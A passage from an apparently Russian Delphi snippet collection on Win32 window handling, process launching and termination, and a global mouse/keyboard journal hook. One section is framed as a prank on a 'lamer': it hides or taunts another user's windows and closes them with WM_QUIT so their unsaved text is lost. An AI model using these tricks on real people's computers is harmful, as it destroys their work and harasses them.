Position := poScreenCenter;
BorderStyle := bsDialog;
with TImage.Create(Application) do
begin
Picture.Icon := Application.Icon;
Left := 10;
Top := 10;
Parent := About;
AutoSize := True;
LabelLeft := Left + Width + 10;
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\ProductName'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top;
Font.Size := 10;
Font.Style := [fsBold];
Font.Color := clNavy;
Parent := About;
Caption := StrPas(PChar(Value));
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\FileVersion'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
Caption := 'Версия: ' + StrPas(PChar(Value));
Parent := About;
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\CompanyName'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
Caption := 'Компания: ' + StrPas(PChar(Value));
Parent := About;
end;
VerQueryValue(Buf, PChar('StringFileInfo\' + TS + '\Author'), Pointer(Value), Len);
if Len > 1 then
with TLabel.Create(Application) do
begin
Left := LabelLeft;
Top := About.Controls[About.ControlCount - 1].Top + About.Controls[About.ControlCount - 1].Height + 5;
Caption := 'Автор: ' + StrPas(PChar(Value));
Parent := About;
end;
Height := Controls[ControlCount - 1].Top + Controls[ControlCount - 1].Height + 85;
Width := 10;
for i := 0 to ControlCount - 1 do
if Controls[i] is TLabel then
if Controls[i].Left + Controls[i].Width + 20 > Width then
Width := Controls[i].Left + Controls[i].Width + 20;
with TButton.Create(Application) do
begin
Caption := 'Ok';
Left := Trunc((About.Width / 2) - (Width / 2));
Top := Trunc(About.Height - 60);
ModalResult := mrOk;
Cursor := crHandPoint;
Parent := About;
end;
with TBevel.Create(Application) do
begin
Shape := bsTopLine;
Style := bsRaised;
Align := alBottom;
Parent := About;
Height := About.Controls[About.ControlCount - 1].Height + 20;
end;
ShowModal;
finally
Free;
end;
end;
end;
end.
Представьте себе, глупый пользователь сидит как ни в чём небывало с умным видом уже в какой раз пытается составить
документ в Microsoft Word'e, но вдруг окно начинает бешено скакать по экрану, в его заголовке выводятся непристойные
сообщения, оно то сворачивается, то разворачивается, меняя постоянно свои размеры, а под конец совсем исчезает,
унося в небытиё весь текст, который с таким трудом набил ламерюга... а если так себя в любой момент может повести
любая программа... впечатления от этого останутся на долго!!!
Для того, чтобы сделать что-нибудь над каким-либо окном нужно сначала получить его дескриптор, т.е. его положение
в оперативной памяти. Для этого нужно использовать функцию FindWindow. Ей нужно указать всего два параметра:
сначала класс искомого окна, затем его заголовок. Ну с заголовком проблем вообщем-то нет - его мы видим, но вот
как определить класс... ведь он скрыт от глас пользователя. В действительности мы может указать только заголовок
окна, а вместо класса ставим nil.
Для начала запустите стандартную программу "Блокнот" - и что же мы видим? В блокноте в заголовке окна отслеживается
имя текущего файла. Изначально, т.к. файла нет в использовании, заголовок блокнота выглядит так:
"Безымянный - Блокнот". Постараемся по этому критерию найти окно блокнота. Выглядеть это будет так:
if FindWindow(nil, 'Безымянный - Блокнот') <> 0 then
ShowMessage('Окно найдено')
else
ShowMessage('Окно НЕнайдено');
Как мы видим из кода, если наша программа найдёт окно блокнота, мы увидим сообщение, гласящее об этом.
Далее попробуем передвинуть это окно
var
h: HWND;
begin
h := findwindow(nil, 'Безымянный - Блокнот');
if h <> 0 then
SetWindowPos(h, HWND_BOTTOM, 1, 1, 20, 20, swp_nosize);
end;
Опять находим блокнот. Его дескриптор помещаем в переменную класса HWND[С английского Handle Window - дескриптор окна].
Далее используем функцию SetWindowPos для задания позиции. В качестве параметров нужно указать:
* Дескриптор окна, которое хотим переместить
* Идентификатор окна, которое предшествует перемещаемому окну в Z-последовательности. Z-последовательность это порядок,
в котором формировались окна. Данный параметр указывает с какого именно окна необходимо начинать писк. В качестве значений
может принимать либо дескриптор какого-либо окна в системе, либо одно из нижеследующих значений:
o HWND_BOTTOM Начало Z-последовательности
o HWND_NOTOPMOST Первое окно которое располагается не "поверх все окон"
o HWND_TOP Вершина Z-последовательности
o HWND_TOPMOST Первое окно которое располагается "поверх все окон"
* Позиция окна по горизонтали
* Позиция окна по вертикали
* Ширина окна
* Высота окна
* Спецификаторы изменения позиции и размеров окна[флаги]. Для задания значения можно комбинировать следующие константы
o SWP_DRAWFRAME Прорисовка фрейма вокруг окна.
o SWP_FRAMECHANGED Посылает сообщение WM_NCCALCSIZE окну, даже если размер его не был изменён. Если этот флаг
не указан, сообщение WM_NCCALCSIZE будет посылаться, только после изменения размеров окна.
o SWP_HIDEWINDOW Скрывает окно.
o SWP_NOACTIVATE Не активизирует окно. Если же этот флаг не будет поставлен, окно активизируется и будет
перемещено поверх всех окон. А вот встанет ли окно даже выше тех окон, которым задано HWND_TOPMOST или нет зависит
от параметра hWndInsertAfter.
o SWP_NOCOPYBITS Если этот спецификатор не будет установлен, тогда содержимое клиентской области окна будет
скопировано и вставлено во вновь отобразившееся окно после его перемещения.
o SWP_NOMOVE Сообщает, что нужно игнорировать параметры задания позиции окну.
o SWP_NOOWNERZORDER Сообщает, что не следует изменять позицию окна владельца в Z-последовательности.
o SWP_NOREDRAW Не перерисовывает окно.
o SWP_NOREPOSITION Такой же как и SWP_NOOWNERZORDER.
o SWP_NOSENDCHANGING Мешает окну получить сообщение WM_WINDOWPOSCHANGING.
o SWP_NOSIZE Сообщает, что нужно игнорировать параметры задания размеров окну.
o SWP_NOZORDER Сохраняет текущее положение в Z-последовательности (игнорирует сообщение hWndInsertAfter parameter).
o SWP_SHOWWINDOW Отображает окно.
Если данная функция выполнится успешно, она возвратит отличное от нуля значение. Ну, вот, теперь мы можем передвигать и
изменять в размерах чужие окна!!! Для того, чтобы изменить заголовок окна напишем следующий код:
SetWindowText(FindWindow(nil, 'Безымянный - Блокнот'),
'Дарова, ламерюга, типа ты попал... ');
Функции setwindowtext нужно указать только два параметра: это дескриптор нужного окна и новое значение для заголовка.
Вот вообщем-то и всё!
Есть ещё одна интересная функция ShowWindow, которая позволяет скрывать или отображать окна. Использовать её нужно так::
ShowWindow(FindWindow(nil, 'Безымянный - Блокнот'), sw_hide);
В скобках указываем сначала над каким именно окном хотим издеваться, а затем что именно мы хотим с ним сделать.
В качестве возможных действий можем указать:
* SW_HIDE Скрывает окно и активизирует другое.
* SW_MAXIMIZE Разворачивает окно.
* SW_MINIMIZE Сворачивает окно.
* SW_RESTORE Активизирует и выводит окно. Если окно было развёрнуто или свёрнуто - восстанавливает исходный
размер и позицию.
* SW_SHOW Активизирует и выводит окно с его оригинальным размером и положением.
* SW_SHOWDEFAULT Активизирует с установками, заданными в структуре STARTUPINFO, которая была передана при
создании процесса приложением запускающим нужную программу.
* SW_SHOWMAXIMIZED Выводит окно в развёрнутом виде.
* SW_SHOWMINIMIZED Выводит окно в виде пиктограммы на панели задач.
* SW_SHOWMINNOACTIVE Выводит окно в свёрнутом виде на панели задач и не передаёт ему фокус ввода, т.е. окно,
которое до этого было активно остаётся активно по прежнему.
* SW_SHOWNA Отображает окно в его текущем состоянии. Активное окно остаётся активным по прежнему.
* SW_SHOWNOACTIVATE Выводит окно в его последнем положении и с последними используемыми размерами. Активное
окно остаётся активным по прежнему.
* SW_SHOWNORMAL Выводит окно. Если оно было свёрнуто или развёрнуто - восстанавливает его оригинальные
размеры и позицию
Но вся сложность действий заключается в том, что в заголовке Блокнота отслеживается имя текущего файла и
использовать значение "Безымянный - Блокнот" мы можем не всегда : (. Тем более это не только в случае с
блокнотом... Но есть выход: ведь функции FindWindow для поиска окна мы указываем не только заголовок нужного
окна, но ещё его класс. Какой же это выход скажете вы, заголовок окна мы видим, значит знаем, что указывать -
а класс окна... в действительности тоже может найти приложив немного усилий!
В пакет Delphi входим специальная утилита для отслеживание всех активных процессов, она называется WinSight32.
Вот ею мы и воспользуемся. Запустите её, покопайтесь в списке процессов, ищите строку где значится текущий
заголовок нужного окна, например Блокнота, и в левой части этой строки в фигурных скобках вы найдёте имя класса
окна. Для блокнота это будет "Notepad". Теперь зная имя класса окна мы можем переписать поиск окна таким способом:
ShowWindow(FindWindow('Notepad', nil), sw_hide);
Теперь мы вместо заголовка окна указываем значение nil, игнорируя данный параметр.
Есть ещё один замечательный способ передачи команд окнам.- функция PostMessage. Ей в качестве параметров нужно указать:
* Дескриптор окна, которому посылается сообщение или следующие значения:
o HWND_BROADCAST Сообщение будет послано всем окнам верхнего уровня системы, включая неактивные и
невидимые окна, overlapped-окна, и PopUp-окна, но сообщение не будет посылаться дочерним[Child] окнам.
o NULL Ведёт себя как функция PostThreadMessage с переданным ей dwThreadId параметром.
* Посылаемое сообщение
* Первый параметр сообщения
* Второй параметр сообщения
Например, если послать сообщение wm_quit блокноту - окно будет закрыто без вывода всяких сообщений о
еобходимости сохранения!
PostMessage(FindWindow('Notepad', nil), wm_quit, 0, 0);
{
The function CheckCheckBox() checks or unchecks a Checkbox in another
window.
Parameter:
hApp : Handle to the parent window of the Checkbox.
ClassName: Class name of the Checkbox.
(For Delphi-Applications: TCheckBox. For C, VB,..: Checkbox)
bValue: Determines whether the check box is in the checked state.
CheckBoxNr: Number of the CheckBox (useful if there are several Checkboxes)
}
procedure CheckCheckBox(hApp: HWND; ClassName: string; bValue: Boolean; CheckBoxNr: Integer);
var
i: Word;
hCheckBox: HWND;
begin
if not IsWindow(hApp) then Exit;
for i := 0 to CheckBoxNr do
hCheckBox := FindWindowEx(hApp, hCheckBox, PChar(ClassName), nil);
if IsWindow(hCheckBox) then
SendMessage(hCheckBox, BM_SETCHECK, Integer(bValue), 0);
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
CheckCheckBox(Handle, 'TCheckBox', True, 1);
// Or / Oder
// CheckCheckBox(Handle, 'CheckBox', True, 1);
end;
uses
libc;
procedure TForm1.Button1Click(Sender: TObject);
var
iPrg: Integer;
begin
//Execute kcalc - A calculator for KDE
iPrg := libc.system('kcalc');
if iPrg = -1 then
ShowMessage('Error executing your program');
end;
Как мне завершить все работающие задачи?
Ниже приведен код, который поможет вам завершить ВСЕ задачи без всяких уведомлений о необходимости сохранения данных.
Поэтому, прежде чем запустить этот код, убедитесь в наличии сохраненных данных и в том, что пользователь осведомлен об этой операции.
procedure TForm1.ButtonKillAllClick(Sender: TObject);
var
pTask: PTaskEntry;
Task: Bool;
ThisTask: THANDLE;
begin
GetMem(pTask, SizeOf(TTaskEntry));
pTask^.dwSize := SizeOf(TTaskEntry);
Task := TaskFirst(pTask);
while Task do
begin
if pTask^.hInst = hInstance then
ThisTask := pTask^.hTask
else
TerminateApp(pTask^.hTask, NO_UAE_BOX);
Task := TaskNext(pTask);
end;
TerminateApp(ThisTask, NO_UAE_BOX);
end;
procedure TForm1.Button1Click(Sender: TObject);
var
w1: Word;
p1, p2: array[0..100] of Char;
begin
StrPcopy(p1, 'CALC');
if GetModuleHandle(p1) = 0 then
begin
StrPcopy(p2, 'C:\windows\Calc.exe');
w1 := WinExec(p2, SW_Restore);
end;
end;
Для запуска внешней программы, для посылки письма или для создания ссылки на сайт вам понадобиться всего одна
функция ShellExecute, которая описывается в модуле ShellAPI - не забудьте подключить его в uses.
Этой функции нужно указать несколько параметров:
* Дескриптор родительского окна
* Выполняемое действие. Этот параметр может принимать следующие значения "open", "print", "explore" -
соответственно открытие, печать или исследование. Можно указывать nil - тогда будет выполняться действие по
умолчанию - "open".
* Имя файла или папки, или e-mail, или URL
* Параметры
* Каталог по умолчанию
* Способ вывода окна. В качестве значения можно указать:
o SW_HIDE Скрывает окно и активизирует другое.
o SW_MAXIMIZE Разворачивает окно.
o SW_MINIMIZE Сворачивает окно.
o SW_RESTORE Активизирует и выводит окно. Если окно было развёрнуто или свёрнуто - восстанавливает исходный
размер и позицию.
o SW_SHOW Активизирует и выводит окно с его оригинальным размером и положением.
o SW_SHOWDEFAULT Активизирует с установками, заданными в структуре STARTUPINFO, которая была передана при
создании процесса приложением запускающим нужную программу.
o SW_SHOWMAXIMIZED Выводит окно в развёрнутом виде.
o SW_SHOWMINIMIZED Выводит окно в виде пиктограммы на панели задач.
o SW_SHOWMINNOACTIVE Выводит окно в свёрнутом виде на панели задач и не передаёт ему фокус ввода, т.е.
окно, которое до этого было активно остаётся активно по прежнему.
o SW_SHOWNA Отображает окно в его текущем состоянии. Активное окно остаётся активным по прежнему.
o SW_SHOWNOACTIVATE Выводит окно в его последнем положении и с последними используемыми размерами.
Активное окно остаётся активным по прежнему.
o SW_SHOWNORMAL Выводит окно. Если оно было свёрнуто или развёрнуто - восстанавливает его оригинальные
размеры и позицию
Примеры:
// Запуск файла
ShellExecute(Handle, nil, 'c:\windows\calc.exe', nil, nil, SW_SHOW);
// Просмотр каталога
ShellExecute(Handle, nil, 'c:\windows', nil, nil, SW_SHOW);
// Ссылка на сайт
ShellExecute(Handle, nil, 'http://www.site.ru', nil, nil, SW_SHOW);
// Послать E-mail
ShellExecute(Handle, nil, 'mailto:DelphiWorld@mail.ru', nil, nil, SW_SHOW);
{ Open a file or starts a programm (without parameters) }
procedure OpenFile(FileName: string);
var
c: array[0..800] of Char;
begin
StrPCopy(c, FileName);
ShellExecute(Application.Handle, 'open', c, nil, nil, SW_NORMAL);
end;
{ Starts a programm with commandline parameters }
procedure OpenProgram(prog, params: string);
var
c, p: array[0..800] of Char;
begin
StrPCopy(c, prog);
StrPCopy(p, params);
ShellExecute(Application.Handle, 'open', c, p, nil, SW_NORMAL);
end;
{ Starts a program and wait until its terminated:
WindowState is of the SW_xxx constants }
function ExecAndWait(const FileName, Params: string;
WindowState: Word): Boolean;
var
SUInfo: TStartupInfo;
ProcInfo: TProcessInformation;
CmdLine: string;
begin
{ Enclose filename in quotes to take care of
long filenames with spaces. }
CmdLine := '"' + FileName + '"' + Params;
FillChar(SUInfo, SizeOf(SUInfo), #0);
with SUInfo do
begin
cb := SizeOf(SUInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := WindowState;
end;
Result := CreateProcess(nil, PChar(CmdLine), nil, nil, False,
CREATE_NEW_CONSOLE or
NORMAL_PRIORITY_CLASS, nil,
PChar(ExtractFilePath(FileName)),
SUInfo, ProcInfo);
{ Wait for it to finish. }
if Result then
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
end;
{ Execute a complete shell command line and waits until terminated. }
function ExecCmdLineAndWait(const CmdLine: string;
WindowState: Word): Boolean;
var
SUInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
{ Enclose filename in quotes to take care of
long filenames with spaces. }
FillChar(SUInfo, SizeOf(SUInfo), #0);
with SUInfo do
begin
cb := SizeOf(SUInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := WindowState;
end;
Result := CreateProcess(nil, PChar(CmdLine), nil, nil, False,
CREATE_NEW_CONSOLE or
NORMAL_PRIORITY_CLASS, nil,
nil {PChar(ExtractFilePath(Filename))},
SUInfo, ProcInfo);
{ Wait for it to finish. }
if Result then
WaitForSingleObject(ProcInfo.hProcess, INFINITE);
end;
{ Execute a complete shell command line without waiting. }
function OpenCmdLine(const CmdLine: string;
WindowState: Word): Boolean;
var
SUInfo: TStartupInfo;
ProcInfo: TProcessInformation;
begin
{ Enclose filename in quotes to take care of
long filenames with spaces. }
FillChar(SUInfo, SizeOf(SUInfo), #0);
with SUInfo do
begin
cb := SizeOf(SUInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := WindowState;
end;
Result := CreateProcess(nil, PChar(CmdLine), nil, nil, False,
CREATE_NEW_CONSOLE or
NORMAL_PRIORITY_CLASS, nil,
nil {PChar(ExtractFilePath(Filename))},
SUInfo, ProcInfo);
end;
Предлагаю Вашему вниманию пример, который изменяет приоритет приложения. Изменение приоритета следует использовать
с осторожностью, так как присвоение слишком высокого приоритета может привести к медленной работе остальных
программ и системы в целом. См. Win32 help for SetThreadPriority() function.
Пример:
procedure TForm1.Button1Click(Sender: TObject);
var
ProcessID: DWORD;
ProcessHandle: THandle;
ThreadHandle: THandle;
begin
ProcessID := GetCurrentProcessID;
ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION, false, ProcessID);
SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
ThreadHandle := GetCurrentThread;
SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;
Объявляем сначала две глобальные переменные:
var
si: Tstartupinfo;
p: Tprocessinformation;
Затем по нужному событию, например, по нажатию на кнопке пишет такой код:
FillChar( Si, SizeOf( Si ) , 0 );
with Si do
begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
Form1.WindowState:=wsminimized;
Createprocess(nil, 'c:\windows\sndrec32.exe e:\temp.wav', nil, nil,
false, Create_default_error_mode, nil, nil, si, p);
Waitforsingleobject(p.hProcess, infinite);
Form1.WindowState:=wsNormal;
---------------------------------------------------
procedure TForm1.Button3Click(Sender: TObject);
var
si: STARTUPINFO;
pi: PROCESS_INFORMATION;
cmdline: string;
begin
ZeroMemory(@si,sizeof(si));
si.cb:=SizeOf(si);
cmdline:='c:\command.com';
if not CreateProcess( nil, { No module name (use command line). }
PChar(cmdline), { Command line. }
nil, { Process handle not inheritable. }
nil, { Thread handle not inheritable. }
False, { Set handle inheritance to FALSE. }
0, { No creation flags. }
nil, { Use parent's environment block. }
nil, { Use parent's starting directory. }
si, { Pointer to STARTUPINFO structure. }
pi ) { Pointer to PROCESS_INFORMATION structure. }
then
begin
ShowMessage( 'CreateProcess failed.' );
Exit;
end;
WaitForSingleObject( pi.hProcess, INFINITE );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
ShowMessage('Done !');
end;
--------------------------------------------
Здесь представлена функция, которая вызывается таким же образом как и WinExec, однако она ждёт, пока запущенная задача завершится.
function WinExecAndWait(Path: PChar; Visibility: Word): Word;
var
InstanceID: THandle;
Msg: TMsg;
begin
InstanceID := WinExec(Path, Visibility);
if InstanceID < 32 then { значение меньше чем 32 указывает на ошибку }
WinExecAndWait := InstanceID
else
repeat
while PeekMessage(Msg, 0, 0, 0, pm_Remove) do
begin
if Msg.message = wm_Quit then
Halt(Msg.WParam);
TranslateMessage(Msg);
DispatchMessage(Msg);
end;
until
GetModuleUsage(InstanceID) = 0;
WinExecAndWait := 0;
end;
--------------------------------------------
как запустить из Вашей программы еще какую-нибудь программу и дождаться ее закрытия. Для удобства сразу оговорюсь:
Ваша программа - это программа, код которой здесь приведен. Другая программа - программа, которая была запущена из
Вашей. Для запуска другой программы мы будем использовать функцию CreateProcess, поскольку она возвращает handle
созданного процесса. Для ожидания завершения процесса (программы) нужно вызвать Wai В этом примере функция
ExecuteAndWait запускает другую программу (имя запускаемого файла - FileName). Если HideApplication установлен
в true, то Ваша программа исчезает на время выполнения другой программы. В противном случае Ваша программа
остается на экране и каждые 0.1 сек. будут выполняться все задачи, которые накопились в очереди
(Application.ProcessMessages). А если пользователь решит закрыть Вашу программу - закроется и другая программа.
Процедура SetEnabled
function ExecuteAndWait(FileName: string; HideApplication: boolean): boolean;
var
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
exitc: cardinal;
begin
FillChar(StartupInfo, sizeof(StartupInfo), 0);
with StartupInfo do begin
cb := Sizeof(StartupInfo);
dwFlags := STARTF_USESHOWWINDOW;
wShowWindow := SW_SHOW;
end;
if not CreateProcess(nil, PChar(FileName), nil, nil, false,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, nil, nil,
StartupInfo, ProcessInfo) then result := false
else begin
if HideApplication then begin
Application.Minimize;
ShowWindow(Application.Handle, SW_HIDE);
WaitforSingleObject(ProcessInfo.hProcess, INFINITE);
end else
while WaitforSingleObject(ProcessInfo.hProcess, 100) =
WAIT_TIMEOUT do begin
Application.ProcessMessages;
if Application.Terminated
then TerminateProcess(ProcessInfo.hProcess, 0);
end;
GetExitCodeProcess(ProcessInfo.hProcess, exitc);
result := (exitc = 0);
if HideApplication then begin
ShowWindow(Application.Handle, SW_SHOW);
Application.Restore;
Application.BringToFront;
end;
end;
end;
procedure TForm1.Button1Click(Sender: TObject);
procedure SetEnabled(en: boolean);
var
i: integer;
begin
for i := 0 to Form1.ComponentCount - 1 do
if Form1.Components[i] is TControl then
(Form1.Components[i] as TControl).Enabled := en;
end;
begin
SetEnabled(false);
if not ExecuteAndWait(Edit1.Text, CheckBox1.Checked)
then ShowMessage('Возникли какие-то проблемы');
SetEnabled(true);
end;
---------------------------------------------
Запускаю с помощью CreateProcess процесс архивирования, как узнать, что он завершился, чтобы перекопировать файл на дискету?
Unit exec;
interface
Uses Windows, SysUtils, Forms, ShellAPI;
function ExecWin(Path,name,CommandLine,CurrentDir:string;Wait:boolean) : word;
implementation
function ExecWin(Path,name,CommandLine,CurrentDir:string;Wait:boolean) : word;
var
tsi : TStartupInfo;
tpi : TProcessInformation;
tPath,Command : PChar;
CurDir :Pchar;
// st1 :string;
// T1,T2,T3,T4 :TFileTime;
// rr :boolean;
cod :DWord;
// ErrorMessage: Pointer;
// ErrorCode: DWORD; // holds a system error code
begin
Result := 30;
Path:=path+name+' '+CommandLine+#00;
CommandLine:=CommandLine+#0;
tPath := StrAlloc(512);
Command := StrAlloc(512);
CurDir :=StrAlloc(512);
FillChar(tsi, SizeOf(TStartupInfo), 0);
tsi.cb := SizeOf(TStartupInfo);
tsi.dwFlags := STARTF_USESHOWWINDOW;
tsi.wShowWindow := SW_SHOWMINNOACTIVE;
// FindExecutable(@Path[1],nil,tPath);
// st1:=string(tPath)+#0;
// st1:=AnsiUpperCase(st1);
// Path:=AnsiUpperCase(Path);
// if st1< > Path then st1:=Concat(st1,' ',path,#0);
// Move(st1[1],tPath[0],Length(st1));
// Move(CommandLine[1],Command[0],length(CommandLine));
Move(Path[1],tPath[0],Length(Path));
CurrentDir:=CurrentDir+#0;
Move(CurrentDir[1],CurDir[0],length(CurrentDir));
try
if CreateProcess(nil,@tPath[0]{, @Command[0]},nil, nil, False,
CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS,nil, @CurDir[0], tsi, tpi)
then begin
cod:=WAIT_TIMEOUT;
while (cod=WAIT_TIMEOUT) and Wait do begin
cod:=WaitForSingleObject(tpi.hProcess, 500);
Application.ProcessMessages;
end;
result:=0;
{ rr:=GetProcessTimes(tpi.hProcess,t1,t2,t3,t4);
while (t2.dwLowDateTime=0) and (t2.dwHighDateTime=0) and rr do begin
Application.ProcessMessages;
rr:=GetProcessTimes(tpi.hProcess,t1,t2,t3,t4);
end;}
CloseHandle(tpi.hProcess);
CloseHandle(tpi.hThread);
end
else result:=GetLastError;
finally
{ ErrorCode := GetLastError;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER or FORMAT_MESSAGE_FROM_SYSTEM,
nil, ErrorCode, 0, @ErrorMessage, 0, nil);
LocalFree(hlocal(ErrorMessage));}
StrDispose(Command);
StrDispose(tPath);
StrDispose(CurDir);
end;
end;
end.
-----------------------------------------------------
procedure Start;
var
si: TStartupInfo;
p: TProcessInformation;
begin
FillChar(Si,SizeOf(Si),0);
with Si do begin
cb := SizeOf( Si);
dwFlags := startf_UseShowWindow;
wShowWindow := 4;
end;
Form1.WindowState:=wsMinimized;
Createprocess(nil,'c:\windows\sndrec32.exe e:/temp.wav',nil,nil,false,
Create_default_error_mode,nil,nil,si);
Waitforsingleobject(p.hProcess,infinite);
Form1.WindowState:=wsNormal;
end;
Для отслеживания каких-то событий во всей Windows нужно установить ловушку (hook). Например, такая ловушка может
отслеживать все события, связанные с мышью, где бы ни находился курсор. Можно отслеживать и события клавиатуры.
Для ловушки нужна функция, которая, после установки ловушки при помощи SetWindowsHookEx, будет вызываться при каждом
нужном событии. Эта функция получает всю информацию о событии. UnhookWindowsHookEx уничтожает ловушку.
Эта программа отслеживает все сообщения, связанные с мышью и клавиатурой. CheckBox1 показывает состояние левой клавиши
мыши, CheckBox2 показывает состояние правой клавиши мыши, а CheckBox3 показывает, нажата ли какая-либо клавиша на клавиатуре.
var
HookHandle: hHook;
function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg: PEVENTMSG;
begin
if Code >= 0 then begin
result := 0;
msg := Pointer(LParam);
with Form1 do
case msg.message of
WM_MOUSEMOVE: Caption := IntToStr(msg.ParamL) + #32 + IntToStr(msg.ParamH);
WM_LBUTTONDOWN: CheckBox1.Checked := true;
WM_LBUTTONUP: CheckBox1.Checked := false;
WM_RBUTTONDOWN: CheckBox2.Checked := true;
WM_RBUTTONUP: CheckBox2.Checked := false;
WM_KEYUP: CheckBox3.Checked := false;
WM_KEYDOWN: CheckBox3.Checked := true;
end;
end else
result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
Form1.FormStyle := fsStayOnTop;
CheckBox1.Enabled := false;
CheckBox1.Caption := 'left button';
CheckBox2.Enabled := false;
CheckBox2.Caption := 'right button';
CheckBox3.Enabled := false;
CheckBox3.Caption := 'keyboard';
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, HInstance, 0);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
if HookHandle <> 0 then
UnhookWindowsHookEx(HookHandle);
end;
Для этого надо импортировать Microsoft Shell Controls & Automation Type Library:
1. В меню Project..Import Type Library
2. Выберите Microsoft Shell Controls & Automation (version 1.0).
3. Нажмите Install...
На панели компонентов, в закладке ActiveX появится несколько компонентов. Перетащите на форму компонент TShell.
После этого, например, можно всё минимизировать:
Shell1.MinimizeAll;
Так же в этом компоненте присутствует давольно много забавных примочек:
procedure TForm1.Shell(sMethod: Integer);
begin
case sMethod of
0:
//Минимизируем все окна на рабочем столе
begin
Shell1.MinimizeAll;
Button1.Tag := Button1.Tag + 1;
end;
1:
//Показываем диалоговое окошко Run
begin
Shell1.FileRun;
Button1.Tag := Button1.Tag + 1;
end;
2:
//Показываем окошко завершения работы Windows
begin
Shell1.ShutdownWindows;
Button1.Tag := Button1.Tag + 1;
end;
3:
//Показываем окно поиска файлов
begin
Shell1.FindFiles;
Button1.Tag := Button1.Tag + 1;
end;
4:
//Отображаем окно настройки времени и даты
begin
Shell1.SetTime;
Button1.Tag := Button1.Tag + 1;
end;
5:
//Показываем диалоговое окошко настройки интернета (Internet Properties)
begin
Shell1.ControlPanelItem('INETCPL.cpl');
Button1.Tag := Button1.Tag + 1;
end;
6:
//Предлагаем пользователю выбрать директорию из Program Files
begin
Shell1.BrowseForFolder(0, 'My Programs', 0, 'C:\Program Files');
Button1.Tag := Button1.Tag + 1;
end;
7:
//Показываем диалоговое окошко настройки панели задач
begin
Shell1.TrayProperties;
Button1.Tag := Button1.Tag + 1;
end;
8:
//Восстанавливаем все окна на рабочем столе
begin
Shell1.UndoMinimizeAll;
Button1.Tag := 0;
end;
end; {case}
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
Shell(Button1.Tag);
end;
var
I: Integer;
M: TMessage;
...
with M do
begin
Message := ...
...
end;
for I := 0 to Pred(Screen.FormCount) do
begin
PostMessage(Forms[I].Handle, ...);
// Если надо и всем чилдам
Forms[I].Broadcast(M);
end;
Если не принудительно, то можно послать на его Instance сообщение WM_QUIT. Если же необходимо принудительно
терминировать приложение, то смотрите ниже - под Windows NT процесс можно терминировать через специально предназначенный
для этого хэндл. Иначе гарантии нет. Предположим, что процесс создаем мы, ожидая его завершения в течение maxworktime.
Тогда -
var
dwResult: Longint; // This example was converted from C source.
begin
// Not tested. Some 'nil' assignments must be applied
// as zero assignments in Pascal. Some vars need to
// be declared (maxworktime, si, pi). AA.
if CreateProcess(nil, CmdStr, nil, nil, FALSE,
CREATE_NEW_CONSOLE, nil, nil, si, pi) then
begin
CloseHandle(pi.hThread);
dwResult := WaitForSingleObject(pi.hProcess, maxworktime * 1000 * 60);
CloseHandle(pi.hProcess);
if dwResult <> WAIT_OBJECT_0 then
begin
pi.hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, pi.dwProcessId);
if pi.hProcess <> nil then
begin
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
end;
end;
end;
end;
----------------------------------------------------
var
Form1: TForm1;
// Глобальные переменные:
StartupInfo: TStartupInfo;
ProcessInfo: TProcessInformation;
StartEn: Boolean = False;
implementation
{$R *.DFM}
// Запуск процесса
procedure TForm1.StartButtonClick(Sender: TObject);
var
CmdStr: PChar; // Командная строка для запуска приложения
begin
CmdStr := PChar(FilenameEdit1.FileName); // Определение командной строки
StartEn := False; // Запущено ли приложение
// Без этого приложение не стартует =<
FillChar(StartupInfo, Sizeof(StartupInfo), #0);
StartupInfo.cb := Sizeof(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := SW_NORMAL; // Состояние окна запущенного приложения
// <= Без этого приложение не стартует
// Запускаем процесс
StartEn := CreateProcess(nil,
CmdStr, { указатель командной строки }
nil, { указатель на процесс атрибутов безопасности }
nil, { указатель на поток атрибутов безопасности }
False, { флаг родительского обработчика }
CREATE_NEW_CONSOLE or { флаг создания }
NORMAL_PRIORITY_CLASS,
nil, { указатель на новую среду процесса }
nil, { указатель на имя текущей директории }
StartupInfo, { указатель на STARTUPINFO }
ProcessInfo); { указатель на PROCESS_INF }
EndButton.Enabled := StartEn;
end;
// Терминация процесса
procedure TForm1.EndButtonClick(Sender: TObject);
begin
if StartEn then
begin
ProcessInfo.hProcess := OpenProcess(PROCESS_TERMINATE, False,
ProcessInfo.dwProcessId);
if ProcessInfo.hProcess <> Null then
begin
